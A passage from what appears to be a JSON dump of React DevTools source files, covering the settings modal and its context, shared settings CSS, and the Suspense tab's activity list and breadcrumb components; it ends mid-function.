rem-based,\n  // so update the root font-size as well when the display preference changes.\n  const computedStyle = getComputedStyle((document.body: any));\n  const fontSize = computedStyle.getPropertyValue(\n    `--${displayDensity}-root-font-size`,\n  );\n  const root = ((document.querySelector(':root'): any): HTMLElement);\n  root.style.fontSize = fontSize;\n}\n\nexport function updateThemeVariables(\n  theme: Theme,\n  documentElements: DocumentElements,\n): void {\n  // Update scrollbar color to match theme.\n  // this CSS property is currently only supported in Firefox,\n  // but it makes a significant UI improvement in dark mode.\n  // https://developer.mozilla.org/en-US/docs/Web/CSS/scrollbar-color\n  documentElements.forEach(documentElement => {\n    // $FlowFixMe[prop-missing] scrollbarColor is missing in CSSStyleDeclaration\n    documentElement.style.scrollbarColor = `var(${`--${theme}-color-scroll-thumb`}) var(${`--${theme}-color-scroll-track`})`;\n  });\n}\n\nexport {SettingsContext, SettingsContextController};\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Settings/SettingsModal.css",
    "content": ".Background {\n  position: absolute;\n  z-index: 3;\n  width: 100%;\n  top: 0;\n  bottom: 0;\n  background-color: var(--color-modal-background);\n  display: flex;\n  align-items: flex-start;\n  justify-content: center;\n  font-size: var(--font-size-sans-normal);\n  padding: 1rem;\n}\n\n.Modal {\n  display: flex;\n  flex-direction: column;\n  flex: 0 1 auto;\n  max-height: 100%;\n  background-color: var(--color-background);\n  border: 1px solid var(--color-border);\n  box-shadow: 0 2px 4px var(--color-shadow);\n  border-radius: 0.25rem;\n  overflow: auto;\n  width: 410px;\n  max-width: 100%;\n}\n\n.Spacer {\n  flex: 1;\n}\n\n.Tabs {\n  display: flex;\n  flex-direction: row;\n  border-bottom: 1px solid var(--color-border);\n  padding-right: 0.25rem;\n  flex: 0 0 auto;\n}\n\n.Content {\n  padding: 0.5rem;\n  flex: 0 1 auto;\n  overflow: auto;\n}"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Settings/SettingsModal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {useCallback, useContext, useEffect, useMemo, useRef} from 'react';\nimport {SettingsModalContext} from './SettingsModalContext';\nimport Button from '../Button';\nimport ButtonIcon from '../ButtonIcon';\nimport TabBar from '../TabBar';\nimport {StoreContext} from '../context';\nimport {\n  useLocalStorage,\n  useModalDismissSignal,\n  useSubscription,\n} from '../hooks';\nimport ComponentsSettings from './ComponentsSettings';\nimport DebuggingSettings from './DebuggingSettings';\nimport GeneralSettings from './GeneralSettings';\nimport ProfilerSettings from './ProfilerSettings';\n\nimport styles from './SettingsModal.css';\n\nimport type Store from 'react-devtools-shared/src/devtools/store';\n\ntype TabID = 'general' | 'debugging' | 'components' | 'profiler';\n\nexport default function SettingsModal(): React.Node {\n  const {isModalShowing, setIsModalShowing} = useContext(SettingsModalContext);\n  const store = useContext(StoreContext);\n  const {profilerStore} = store;\n\n  // Updating preferences while profiling is in progress could break things (e.g. filtering)\n  // Explicitly disallow it for now.\n  const isProfilingSubscription = useMemo(\n    () => ({\n      getCurrentValue: () => profilerStore.isProfilingBasedOnUserInput,\n      subscribe: (callback: Function) => {\n        profilerStore.addListener('isProfiling', callback);\n        return () => profilerStore.removeListener('isProfiling', callback);\n      },\n    }),\n    [profilerStore],\n  );\n  const isProfiling = useSubscription<boolean>(isProfilingSubscription);\n  if (isProfiling && isModalShowing) {\n    setIsModalShowing(false);\n  }\n\n  if (!isModalShowing) {\n    return null;\n  }\n\n  return <SettingsModalImpl store={store} />;\n}\n\ntype ImplProps = {store: Store};\n\nfunction SettingsModalImpl({store}: ImplProps) {\n  const {setIsModalShowing, environmentNames, hookSettings} =\n    useContext(SettingsModalContext);\n  const dismissModal = useCallback(\n    () => setIsModalShowing(false),\n    [setIsModalShowing],\n  );\n\n  const [selectedTabID, selectTab] = useLocalStorage<TabID>(\n    'React::DevTools::selectedSettingsTabID',\n    'general',\n  );\n\n  const modalRef = useRef<HTMLDivElement | null>(null);\n  useModalDismissSignal(modalRef, dismissModal);\n\n  useEffect(() => {\n    if (modalRef.current !== null) {\n      modalRef.current.focus();\n    }\n  }, [modalRef]);\n\n  let view = null;\n  switch (selectedTabID) {\n    case 'components':\n      view = <ComponentsSettings environmentNames={environmentNames} />;\n      break;\n    case 'debugging':\n      view = <DebuggingSettings hookSettings={hookSettings} store={store} />;\n      break;\n    case 'general':\n      view = <GeneralSettings />;\n      break;\n    case 'profiler':\n      view = <ProfilerSettings />;\n      break;\n    default:\n      break;\n  }\n\n  return (\n    <div className={styles.Background}>\n      <div className={styles.Modal} ref={modalRef}>\n        <div className={styles.Tabs}>\n          <TabBar\n            currentTab={selectedTabID}\n            id=\"Settings\"\n            selectTab={selectTab}\n            tabs={tabs}\n            type=\"settings\"\n          />\n          <div className={styles.Spacer} />\n          <Button onClick={dismissModal} title=\"Close settings dialog\">\n            <ButtonIcon type=\"close\" />\n          </Button>\n        </div>\n        <div className={styles.Content}>{view}</div>\n      </div>\n    </div>\n  );\n}\n\nconst tabs = [\n  {\n    id: 'general',\n    icon: 'settings',\n    label: 'General',\n  },\n  {\n    id: 'debugging',\n    icon: 'bug',\n    label: 'Debugging',\n  },\n  {\n    id: 'components',\n    icon: 'components',\n    label: 'Components',\n  },\n  {\n    id: 'profiler',\n    icon: 'profiler',\n    label: 'Profiler',\n  },\n];\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Settings/SettingsModalContext.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactContext} from 'shared/ReactTypes';\n\nimport * as React from 'react';\nimport {\n  createContext,\n  useContext,\n  useCallback,\n  useState,\n  startTransition,\n} from 'react';\n\nimport {BridgeContext, StoreContext} from '../context';\n\nimport type {FrontendBridge} from '../../../bridge';\nimport type {DevToolsHookSettings} from '../../../backend/types';\nimport type Store from '../../store';\n\nexport type Theme = 'auto' | 'light' | 'dark';\n\ntype Context = {\n  isModalShowing: boolean,\n  setIsModalShowing: (value: boolean) => void,\n  environmentNames: null | Promise<Array<string>>,\n  hookSettings: null | Promise<$ReadOnly<DevToolsHookSettings>>,\n};\n\nconst SettingsModalContext: ReactContext<Context> = createContext<Context>(\n  ((null: any): Context),\n);\nSettingsModalContext.displayName = 'SettingsModalContext';\n\nfunction fetchEnvironmentNames(bridge: FrontendBridge): Promise<Array<string>> {\n  return new Promise(resolve => {\n    function onEnvironmentNames(names: Array<string>) {\n      bridge.removeListener('environmentNames', onEnvironmentNames);\n      resolve(names);\n    }\n    bridge.addListener('environmentNames', onEnvironmentNames);\n    bridge.send('getEnvironmentNames');\n  });\n}\n\nfunction fetchHookSettings(\n  store: Store,\n): Promise<$ReadOnly<DevToolsHookSettings>> {\n  return new Promise(resolve => {\n    function onHookSettings(settings: $ReadOnly<DevToolsHookSettings>) {\n      store.removeListener('hookSettings', onHookSettings);\n      resolve(settings);\n    }\n\n    store.addListener('hookSettings', onHookSettings);\n    store.getHookSettings();\n  });\n}\n\nfunction SettingsModalContextController({\n  children,\n}: {\n  children: React$Node,\n}): React.Node {\n  const bridge = useContext(BridgeContext);\n  const store = useContext(StoreContext);\n\n  const setIsModalShowing: boolean => void = useCallback(\n    (value: boolean) => {\n      startTransition(() => {\n        setContext({\n          isModalShowing: value,\n          setIsModalShowing,\n          environmentNames: value ? fetchEnvironmentNames(bridge) : null,\n          hookSettings: value ? fetchHookSettings(store) : null,\n        });\n      });\n    },\n    [bridge, store],\n  );\n\n  const [currentContext, setContext] = useState<Context>({\n    isModalShowing: false,\n    setIsModalShowing,\n    environmentNames: null,\n    hookSettings: null,\n  });\n\n  return (\n    <SettingsModalContext.Provider value={currentContext}>\n      {children}\n    </SettingsModalContext.Provider>\n  );\n}\n\nexport {SettingsModalContext, SettingsModalContextController};\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Settings/SettingsModalContextToggle.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {useCallback, useContext, useMemo} from 'react';\nimport {SettingsModalContext} from './SettingsModalContext';\nimport Button from '../Button';\nimport ButtonIcon from '../ButtonIcon';\nimport {StoreContext} from '../context';\nimport {useSubscription} from '../hooks';\n\nexport default function SettingsModalContextToggle(): React.Node {\n  const {setIsModalShowing} = useContext(SettingsModalContext);\n  const store = useContext(StoreContext);\n  const {profilerStore} = store;\n\n  const showFilterModal = useCallback(\n    () => setIsModalShowing(true),\n    [setIsModalShowing],\n  );\n\n  // Updating preferences while profiling is in progress could break things (e.g. filtering)\n  // Explicitly disallow it for now.\n  const isProfilingSubscription = useMemo(\n    () => ({\n      getCurrentValue: () => profilerStore.isProfilingBasedOnUserInput,\n      subscribe: (callback: Function) => {\n        profilerStore.addListener('isProfiling', callback);\n        return () => profilerStore.removeListener('isProfiling', callback);\n      },\n    }),\n    [profilerStore],\n  );\n  const isProfiling = useSubscription<boolean>(isProfilingSubscription);\n\n  return (\n    <Button\n      disabled={isProfiling}\n      onClick={showFilterModal}\n      title=\"View settings\">\n      <ButtonIcon type=\"settings\" />\n    </Button>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Settings/SettingsShared.css",
    "content": ".SettingList {\n  display: flex;\n  flex-direction: column;\n  align-items: flex-start;\n  justify-content: flex-start;\n  font-family: var(--font-family-sans);\n  font-size: var(--font-size-sans-normal);\n}\n\n.SettingWrapper {\n  margin-bottom: 0.5rem;\n}\n.SettingWrapper:last-of-type {\n  margin-bottom: 0;\n}\n\n.SettingRow {\n  display: inline-flex;\n  flex-direction: row;\n  align-items: center;\n  overflow: hidden;\n  text-overflow: ellipsis;\n}\n\n.SettingRowCheckbox {\n  margin: 0.125rem 0.25rem 0.125rem 0;\n}\n\n.SettingDisabled {\n  opacity: 0.5;\n  cursor: not-allowed;\n}\n\n.OptionGroup {\n  display: inline-flex;\n  flex-direction: row;\n  align-items: center;\n  user-select: none;\n  margin: 0 1rem 0.5rem 0;\n}\n.OptionGroup:last-of-type {\n  margin-right: 0;\n}\n\n.RadioLabel {\n  display: inline;\n  margin-right: 0.5rem;\n}\n\n.Spacer {\n  height: 0.5rem;\n}\n\n.CheckboxOption {\n  display: block;\n  padding: 0 0 0.5rem;\n}\n\n.HRule {\n  height: 1px;\n  background-color: var(--color-border);\n  width: 100%;\n  border: none;\n  margin: 0.5rem 0;\n}\n\n.Header {\n  font-size: var(--font-size-sans-large);\n  margin-top: 0.5rem;\n}\n\n.ButtonIcon {\n  margin-right: 0.25rem;\n}\n\n.NoFiltersCell {\n  padding: 0.25rem 0;\n  color: var(--color-dim);\n}\n\n.Table {\n  min-width: 20rem;\n  margin-top: 0.5rem;\n  border-spacing: 0;\n}\n\n.TableRow {\n  padding-bottom: 0.5rem;\n}\n\n.TableCell {\n  padding: 0;\n  padding-right: 0.5rem;\n}\n.TableCell:last-of-type {\n  text-align: right;\n  padding-right: 0;\n}\n\n.Input {\n  border: 1px solid var(--color-border);\n  border-radius: 0.125rem;\n  padding: 0.125rem;\n  margin-left: .5rem;\n}\n\n.InvalidRegExp,\n.InvalidRegExp:active,\n.InvalidRegExp:focus,\n.InvalidRegExp:hover {\n  color: var(--color-value-invalid);\n}\n\n.ToggleOffInvalid,\n.ToggleOnInvalid,\n.ToggleOff,\n.ToggleOn {\n  border-radius: 0.75rem;\n  width: 1rem;\n  height: 0.625rem;\n  display: flex;\n  align-items: center;\n  padding: 0.125rem;\n}\n.ToggleOffInvalid {\n  background-color: var(--color-toggle-background-invalid);\n  justify-content: flex-start;\n}\n.ToggleOnInvalid {\n  background-color: var(--color-toggle-background-invalid);\n  justify-content: flex-end;\n}\n.ToggleOff {\n  background-color: var(--color-toggle-background-off);\n  justify-content: flex-start;\n}\n.ToggleOn {\n  background-color: var(--color-toggle-background-on);\n  justify-content: flex-end;\n}\n\n.ToggleInsideOff,\n.ToggleInsideOn {\n  border-radius: 0.375rem;\n  width: 0.375rem;\n  height: 0.375rem;\n  background-color: var(--color-toggle-text);\n}\n\n.ReleaseNotes {\n  width: 100%;\n  background-color: var(--color-background-hover);\n  padding: 0.25rem 0.5rem;\n  border-radius: 0.25rem;\n}\n\n.ReleaseNotesLink, .StrictModeLink {\n  color: var(--color-button-active);\n}\n\n.Warning {\n  color: var(--color-error-text);\n}\n\n.VersionsList {\n  list-style: none;\n  padding: 0;\n  margin: 0;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/SuspenseTab/ActivityList.css",
    "content": ".ActivityListContaier {\n  display: flex;\n  flex-direction: column;\n}\n\n.ActivityListHeader {\n  /* even if empty, provides layout alignment with the main view */\n  display: flex;\n  flex: 0 0 42px;\n  border-bottom: 1px solid var(--color-border);\n}\n\n.ActivityListList {\n  cursor: default;\n  list-style-type: none;\n  margin: 0;\n  padding: 0;\n}\n\n.ActivityListList[data-pending-activity-slice-selection=\"true\"] {\n  cursor: wait;\n}\n\n.ActivityListList:focus {\n  outline: none;\n}\n\n.ActivityListItem {\n  color: var(--color-component-name);\n  line-height: var(--line-height-data);\n  padding: 0 0.25rem;\n  user-select: none;\n}\n\n.ActivityListItem:hover {\n  background-color: var(--color-background-hover);\n}\n\n.ActivityListItem[aria-selected=\"true\"] {\n  background-color: var(--color-background-inactive);\n}\n\n.ActivityListList:focus .ActivityListItem[aria-selected=\"true\"] {\n  background-color: var(--color-background-selected);\n  color: var(--color-text-selected);\n\n  /* Invert colors */\n  --color-component-name: var(--color-component-name-inverted);\n  --color-text: var(--color-text-selected);\n  --color-component-badge-background: var(\n    --color-component-badge-background-inverted\n  );\n  --color-forget-badge-background: var(--color-forget-badge-background-inverted);\n  --color-component-badge-count: var(--color-component-badge-count-inverted);\n  --color-attribute-name: var(--color-attribute-name-inverted);\n  --color-attribute-value: var(--color-attribute-value-inverted);\n  --color-expand-collapse-toggle: var(--color-component-name-inverted);\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/SuspenseTab/ActivityList.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\nimport type {\n  Element,\n  ActivitySliceFilter,\n  ComponentFilter,\n} from 'react-devtools-shared/src/frontend/types';\nimport typeof {\n  SyntheticMouseEvent,\n  SyntheticKeyboardEvent,\n} from 'react-dom-bindings/src/events/SyntheticEvent';\nimport type Store from 'react-devtools-shared/src/devtools/store';\n\nimport * as React from 'react';\nimport {useContext, useMemo, useTransition} from 'react';\nimport {\n  ComponentFilterActivitySlice,\n  ElementTypeActivity,\n} from 'react-devtools-shared/src/frontend/types';\nimport styles from './ActivityList.css';\nimport {\n  TreeStateContext,\n  TreeDispatcherContext,\n} from '../Components/TreeContext';\nimport {useHighlightHostInstance} from '../hooks';\nimport {StoreContext} from '../context';\n\nexport function useChangeActivitySliceAction(): (\n  id: Element['id'] | null,\n) => void {\n  const store = useContext(StoreContext);\n\n  function changeActivitySliceAction(activityID: Element['id'] | null) {\n    const nextFilters: ComponentFilter[] = [];\n    // Remove any existing activity slice filter\n    for (let i = 0; i < store.componentFilters.length; i++) {\n      const filter = store.componentFilters[i];\n      if (filter.type !== ComponentFilterActivitySlice) {\n        nextFilters.push(filter);\n      }\n    }\n\n    if (activityID !== null) {\n      const rendererID = store.getRendererIDForElement(activityID);\n      if (rendererID === null) {\n        throw new Error('Expected to find renderer.');\n      }\n      const activityFilter: ActivitySliceFilter = {\n        type: ComponentFilterActivitySlice,\n        activityID,\n        rendererID,\n        isValid: true,\n        isEnabled: true,\n      };\n      nextFilters.push(activityFilter);\n    }\n    store.componentFilters = nextFilters;\n  }\n\n  return changeActivitySliceAction;\n}\n\nfunction findNearestActivityParentID(\n  elementID: Element['id'],\n  store: Store,\n): Element['id'] | null {\n  let currentID: null | Element['id'] = elementID;\n  while (currentID !== null) {\n    const element = store.getElementByID(currentID);\n    if (element === null) {\n      return null;\n    }\n    if (element.type === ElementTypeActivity) {\n      return element.id;\n    }\n    currentID = element.parentID;\n  }\n\n  return currentID;\n}\n\nfunction useSelectedActivityID(): Element['id'] | null {\n  const {inspectedElementID} = useContext(TreeStateContext);\n  const store = useContext(StoreContext);\n  return useMemo(() => {\n    if (inspectedElementID === null) {\n      return null;\n    }\n    const nearestActivityID = findNearestActivityParentID(\n      inspectedElementID,\n      store,\n    );\n    return nearestActivityID;\n  }, [inspectedElementID, store]);\n}\n\nexport default function ActivityList({\n  activities,\n}: {\n  activities: $ReadOnlyArray<{id: Element['id'], depth: number}>,\n}): React$Node {\n  const {activityID, inspectedElementID} = useContext(TreeStateContext);\n  const treeDispatch = useContext(TreeDispatcherContext);\n  const store = useContext(StoreContext);\n  const selectedActivityID = useSelectedActivityID();\n  const {highlightHostInstance, clearHighlightHostInstance} =\n    useHighlightHostInstance();\n\n  const [isPendingActivitySliceSelection, startActivitySliceSelection] =\n    useTransition();\n  const changeActivitySliceAction = useChangeActivitySliceAction();\n\n  const includeAllOption = activityID !== null;\n\n  function handleKeyDown(event: SyntheticKeyboardEvent) {\n    switch (event.key) {\n      case 'Escape':\n        startActivitySliceSelection(() => {\n          changeActivitySliceAction(null);\n        });\n        event.preventDefault();\n        break;\n      case 'Enter':\n      case ' ':\n        startActivitySliceSelection(() => {\n          changeActivitySliceAction(inspectedElementID);\n        });\n        event.preventDefault();\n        break;\n      case 'Home':\n        treeDispatch({\n          type: 'SELECT_ELEMENT_BY_ID',\n          payload: includeAllOption ? null : activities[0].id,\n        });\n        event.preventDefault();\n        break;\n      case 'End':\n        treeDispatch({\n          type: 'SELECT_ELEMENT_BY_ID',\n          payload: activities[activities.length - 1].id,\n        });\n        event.preventDefault();\n        break;\n      case 'ArrowUp': {\n        const currentIndex = activities.findIndex(\n          activity => activity.id === selectedActivityID,\n        );\n        let nextIndex: number;\n        if (currentIndex === -1) {\n          // Currently selecting \"All\", wrap around to last Activity.\n          nextIndex = activities.length - 1;\n        } else {\n          nextIndex = currentIndex - 1;\n          if (!includeAllOption) {\n            nextIndex = (nextIndex + activities.length) % activities.length;\n          }\n        }\n\n        treeDispatch({\n          type: 'SELECT_ELEMENT_BY_ID',\n          payload: nextIndex === -1 ? null : activities[nextIndex].id,\n        });\n        event.preventDefault();\n        break;\n      }\n      case 'ArrowDown': {\n        const currentIndex = activities.findIndex(\n          activity => activity.id === selectedActivityID,\n        );\n        let nextIndex: number;\n        if (includeAllOption && currentIndex === activities.length - 1) {\n          // Currently selecting last Activity, wrap around to \"All\".\n          nextIndex = -1;\n        } else {\n          nextIndex = (currentIndex + 1) % activities.length;\n        }\n        treeDispatch({\n          type: 'SELECT_ELEMENT_BY_ID',\n          payload: nextIndex === -1 ? null : activities[nextIndex].id,\n        });\n        event.preventDefault();\n        break;\n      }\n      default:\n        break;\n    }\n  }\n\n  function handleClick(id: Element['id'] | null, event: SyntheticMouseEvent) {\n    event.preventDefault();\n    treeDispatch({type: 'SELECT_ELEMENT_BY_ID', payload: id});\n  }\n\n  function handleDoubleClick() {\n    if (inspectedElementID !== null) {\n      changeActivitySliceAction(inspectedElementID);\n    }\n  }\n\n  return (\n    <div className={styles.ActivityListContaier}>\n      <div className={styles.ActivityListHeader} />\n      <ol\n        role=\"listbox\"\n        className={styles.ActivityListList}\n        data-pending-activity-slice-selection={isPendingActivitySliceSelection}\n        tabIndex={0}\n        onKeyDown={handleKeyDown}>\n        {includeAllOption && (\n          // TODO: Obsolete once filtered Activities are included in this list.\n          <li\n            role=\"option\"\n            aria-selected={null === selectedActivityID ? 'true' : 'false'}\n            className={styles.ActivityListItem}\n            onClick={handleClick.bind(null, null)}\n            onDoubleClick={handleDoubleClick}>\n            All\n          </li>\n        )}\n        {activities.map(({id, depth}) => {\n          const activity = store.getElementByID(id);\n          if (activity === null) {\n            return null;\n          }\n          const name = activity.nameProp;\n          if (name === null) {\n            // This shouldn't actually happen. We only want to show activities with a name.\n            // And hide the whole list if no named Activities are present.\n            return null;\n          }\n\n          // TODO: Filtered Activities should have dedicated styles once we include\n          // filtered Activities in this list.\n          return (\n            <li\n              key={activity.id}\n              role=\"option\"\n              aria-selected={\n                activity.id === selectedActivityID ? 'true' : 'false'\n              }\n              className={styles.ActivityListItem}\n              onClick={handleClick.bind(null, activity.id)}\n              onDoubleClick={handleDoubleClick}\n              onPointerOver={highlightHostInstance.bind(\n                null,\n                activity.id,\n                false,\n              )}\n              onPointerLeave={clearHighlightHostInstance}>\n              {'\\u00A0'.repeat(depth + (includeAllOption ? 1 : 0)) + name}\n            </li>\n          );\n        })}\n      </ol>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseBreadcrumbs.css",
    "content": ".SuspenseBreadcrumbsContainer {\n  flex: 1;\n  display: flex;\n}\n\n.SuspenseBreadcrumbsList {\n  margin: 0;\n  padding: 0;\n  list-style: none;\n  display: inline-flex;\n  flex-direction: row;\n  flex-wrap: nowrap;\n  align-items: baseline;\n}\n\n.SuspenseBreadcrumbsListItem {\n  display: inline;\n}\n\n.SuspenseBreadcrumbsListItemSeparator {\n  user-select: none;\n}\n\n.SuspenseBreadcrumbsListItem[aria-current=\"true\"] .SuspenseBreadcrumbsButton {\n  color: var(--color-button-active);\n}\n\n.SuspenseBreadcrumbsButton {\n  background: var(--color-button-background);\n  border: none;\n  border-radius: 0.25rem;\n  color: var(--color-button);\n  font-family: var(--font-family-monospace);\n  font-size: var(--font-size-monospace-normal);\n  padding: 0.25rem;\n  white-space: nowrap;\n}\n\n.SuspenseBreadcrumbsButton:hover {\n  background-color: var(--color-button-background-hover);\n  color: var(--color-button-hover);\n}\n\n.SuspenseBreadcrumbsButton:focus-visible {\n  background: var(--color-button-background-focus);\n}\n\n.SuspenseBreadcrumbsMenuButton {\n  border-radius: 0.25rem;\n  display: inline-flex;\n  align-items: center;\n  padding: 0;\n  flex: 0 0 auto;\n  border: none;\n  background: var(--color-button-background);\n  color: var(--color-button);\n}\n\n.SuspenseBreadcrumbsMenuButtonContent {\n  display: inline-flex;\n  align-items: center;\n  border-radius: 0.25rem;\n  padding: 0.25rem;\n}\n\n.SuspenseBreadcrumbsMenuButton:hover {\n  color: var(--color-button-hover);\n}\n.SuspenseBreadcrumbsMenuButton[aria-expanded=\"true\"],\n.SuspenseBreadcrumbsMenuButton[aria-expanded=\"true\"]:active {\n  color: var(--color-button-active);\n  outline: none;\n}\n\n.SuspenseBreadcrumbsMenuButton:focus,\n.SuspenseBreadcrumbsMenuButtonContent:focus {\n  outline: none;\n}\n.SuspenseBreadcrumbsMenuButton:focus > .SuspenseBreadcrumbsMenuButtonContent {\n  background: var(--color-button-background-focus);\n}\n\n.SuspenseBreadcrumbsModal[data-reach-menu-list] {\n  display: inline-flex;\n  flex-direction: column;\n  background-color: var(--color-background);\n  color: var(--color-button);\n  padding: 0.25rem 0;\n  padding-right: 0;\n  border: 1px solid var(--color-border);\n  border-radius: 0.25rem;\n  max-height: 10rem;\n  overflow: auto;\n\n  /* Make sure this is above the DevTools, which are above the Overlay */\n  z-index: 10000002;\n  position: relative;\n\n  /* Reach UI tries to set its own :( */\n  font-family: var(--font-family-monospace);\n  font-size: var(--font-size-monospace-normal);\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/SuspenseTab/SuspenseBreadcrumbs.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {SuspenseNode} from 'react-devtools-shared/src/frontend/types';\nimport typeof {SyntheticMouseEvent} from 'react-dom-bindings/src/events/SyntheticEvent';\n\nimport * as React from 'react';\nimport {Fragment, useContext, useLayoutEffect, useRef, useState} from 'react';\nimport Button from '../Button';\nimport ButtonIcon from '../ButtonIcon';\nimport Tooltip from '../Components/reach-ui/tooltip';\nimport {\n  Menu,\n  MenuList,\n  MenuButton,\n  MenuItem,\n} from '../Components/reach-ui/menu-button';\nimport {\n  TreeDispatcherContext,\n  TreeStateContext,\n} from '../Components/TreeContext';\nimport {StoreContext} from '../context';\nimport {useHighlightHostInstance, useIsOverflowing} from '../hooks';\nimport styles from './SuspenseBreadcrumbs.css';\nimport {\n  SuspenseTreeStateContext,\n  SuspenseTreeDispatcherContext,\n} from './SuspenseTreeContext';\n\ntype SuspenseBreadcrumbsFlatListProps = {\n  onItemClick: (id: SuspenseNode['id'], event: SyntheticMouseEvent) => void,\n  onItemPointerEnter: (\n    id: SuspenseNode['id'],\n    scrollIntoView?: boolean,\n  ) => void,\n  onItemPointerLeave: (event: SyntheticMouseEvent) => void,\n  setElementsTotalWidth: (width: number) => void,\n};\n\nfunction SuspenseBreadcrumbsFlatList({\n  onItemClick,\n  onItemPointerEnter,\n  onItemPointerLeave,\n  setElementsTotalWidth,\n}: SuspenseBreadcrumbsFlatListProps): React$Node {\n  const store = useContext(StoreContext);\n  const {activityID} = useContext(TreeStateContext);\n  const {selectedSuspenseID, lineage, roots} = useContext(\n    SuspenseTreeStateContext,\n  );\n\n  const containerRef = useRef<HTMLDivElement | null>(null);\n  useLayoutEffect(() => {\n    const container = containerRef.current;\n    if (container === null) {\n      return;\n    }\n\n    const ResizeObserver = container.ownerDocument.defaultView.ResizeObserver;\n    const observer = new ResizeObserver(entries => {\n      const entry = entries[0];\n      setElementsTotalWidth(entry.contentRect.width);\n    });\n\n    observer.observe(container);\n    return observer.disconnect.bind(observer);\n  }, []);\n\n  return (\n    <ol className={styles.SuspenseBreadcrumbsList} ref={containerRef}>\n      {lineage === null ? null : lineage.length === 0 ? (\n        // We selected the root. This means that we're currently viewing the Transition\n        // that rendered the whole screen. In laymans terms this is really \"Initial Paint\" .\n        // When we're looking at a subtree selection, then the equivalent is a\n        // \"Transition\" since in that case it's really about a Transition within the page.\n        roots.length > 0 ? (\n          <li\n            className={styles.SuspenseBreadcrumbsListItem}\n            aria-current=\"true\">\n            <button\n              className={styles.SuspenseBreadcrumbsButton}\n              onClick={onItemClick.bind(\n                null,\n                activityID === null ? roots[0] : activityID,\n              )}\n              type=\"button\">\n              {activityID === null ? 'Initial Paint' : 'Transition'}\n            </button>\n          </li>\n        ) : null\n      ) : (\n        lineage.map((id, index) => {\n          const node = store.getSuspenseByID(id);\n\n          return (\n            <Fragment key={id}>\n              <li\n                className={styles.SuspenseBreadcrumbsListItem}\n                aria-current={selectedSuspenseID === id}\n                onPointerEnter={onItemPointerEnter.bind(null, id, false)}\n                onPointerLeave={onItemPointerLeave}>\n                <button\n                  className={styles.SuspenseBreadcrumbsButton}\n                  onClick={onItemClick.bind(null, id)}\n                  type=\"button\">\n                  {node === null ? 'Unknown' : node.name || 'Unknown'}\n                </button>\n              </li>\n              {index < lineage.length - 1 && (\n                <span className={styles.SuspenseBreadcrumbsListItemSeparator}>\n                  »\n                </span>\n              )}\n            </Fragment>\n          );\n        })\n      )}\n    </ol>\n  );\n}\n\ntype SuspenseBreadcrumbsMenuProps = {\n  onItemClick: (id: SuspenseNode['id'], event: SyntheticMouseEvent) => void,\n  onItemPointerEnter: (\n    id: SuspenseNode['id'],\n    scrollIntoView?: boolean,\n  ) => void,\n  onItemPointerLeave: (event: SyntheticMouseEvent) => void,\n};\n\nfunction SuspenseBreadcrumbsMenu({\n  onItemClick,\n  onItemPointerEnter,\n  onItemPointerLeave,\n}: SuspenseBreadcrumbsMenuProps): React$Node {\n  const store = useContext(StoreContext);\n  const {activityID} = useContext(TreeStateContext);\n  const {selectedSuspenseID, lineage, roots} = useContext(\n    SuspenseTreeStateContext,\n  );\n  const selectedSuspenseNode =\n    selectedSuspenseID !== null\n      ? store.getSuspenseByID(selectedSuspenseID)\n      : null;\n\n  return (\n    <>\n      {lineage === null ? null : lineage.length === 0 ? (\n        // We selected the root. This means that we're currently viewing the Transition\n        // that rendered the whole screen. In laymans terms this is really \"Initial Paint\" .\n        // When we're looking at a subtree selection, then the equivalent is a\n        // \"Transition\" since in that case it's really about a Transition within the page.\n        roots.length > 0 ? (\n          <button\n            className={styles.SuspenseBreadcrumbsButton}\n            onClick={onItemClick.bind(\n              null,\n              activityID === null ? roots[0] : activityID,\n            )}\n            type=\"button\">\n            {activityID === null ? 'Initial Paint' : 'Transition'}\n          </button>\n        ) : null\n      ) : (\n        <>\n          <SuspenseBreadcrumbsDropdown\n            lineage={lineage}\n            selectElement={onItemClick}\n          />\n          <SuspenseBreadcrumbsToParentButton\n            lineage={lineage}\n            selectedSuspenseID={selectedSuspenseID}\n            selectElement={onItemClick}\n          />\n          {selectedSuspenseNode != null && (\n            <button\n              className={styles.SuspenseBreadcrumbsButton}\n              onClick={onItemClick.bind(null, selectedSuspenseNode.id)}\n              onPointerEnter={onItemPointerEnter.bind(\n                null,\n                selectedSuspenseNode.id,\n                false,\n              )}\n              onPointerLeave={onItemPointerLeave}\n              type=\"button\">\n              {selectedSuspenseNode === null\n                ? 'Unknown'\n                : selectedSuspenseNode.name || 'Unknown'}\n            </button>\n          )}\n        </>\n      )}\n    </>\n  );\n}\n\ntype SuspenseBreadcrumbsDropdownProps = {\n  lineage: $ReadOnlyArray<SuspenseNode['id']>,\n  selectedIndex: number,\n  selectElement: (id: SuspenseNode['id']) => void,\n};\nfunction SuspenseBreadcrumbsDropdown({\n  lineage,\n  selectElement,\n}: SuspenseBreadcrumbsDropdownProps) {\n  const store = 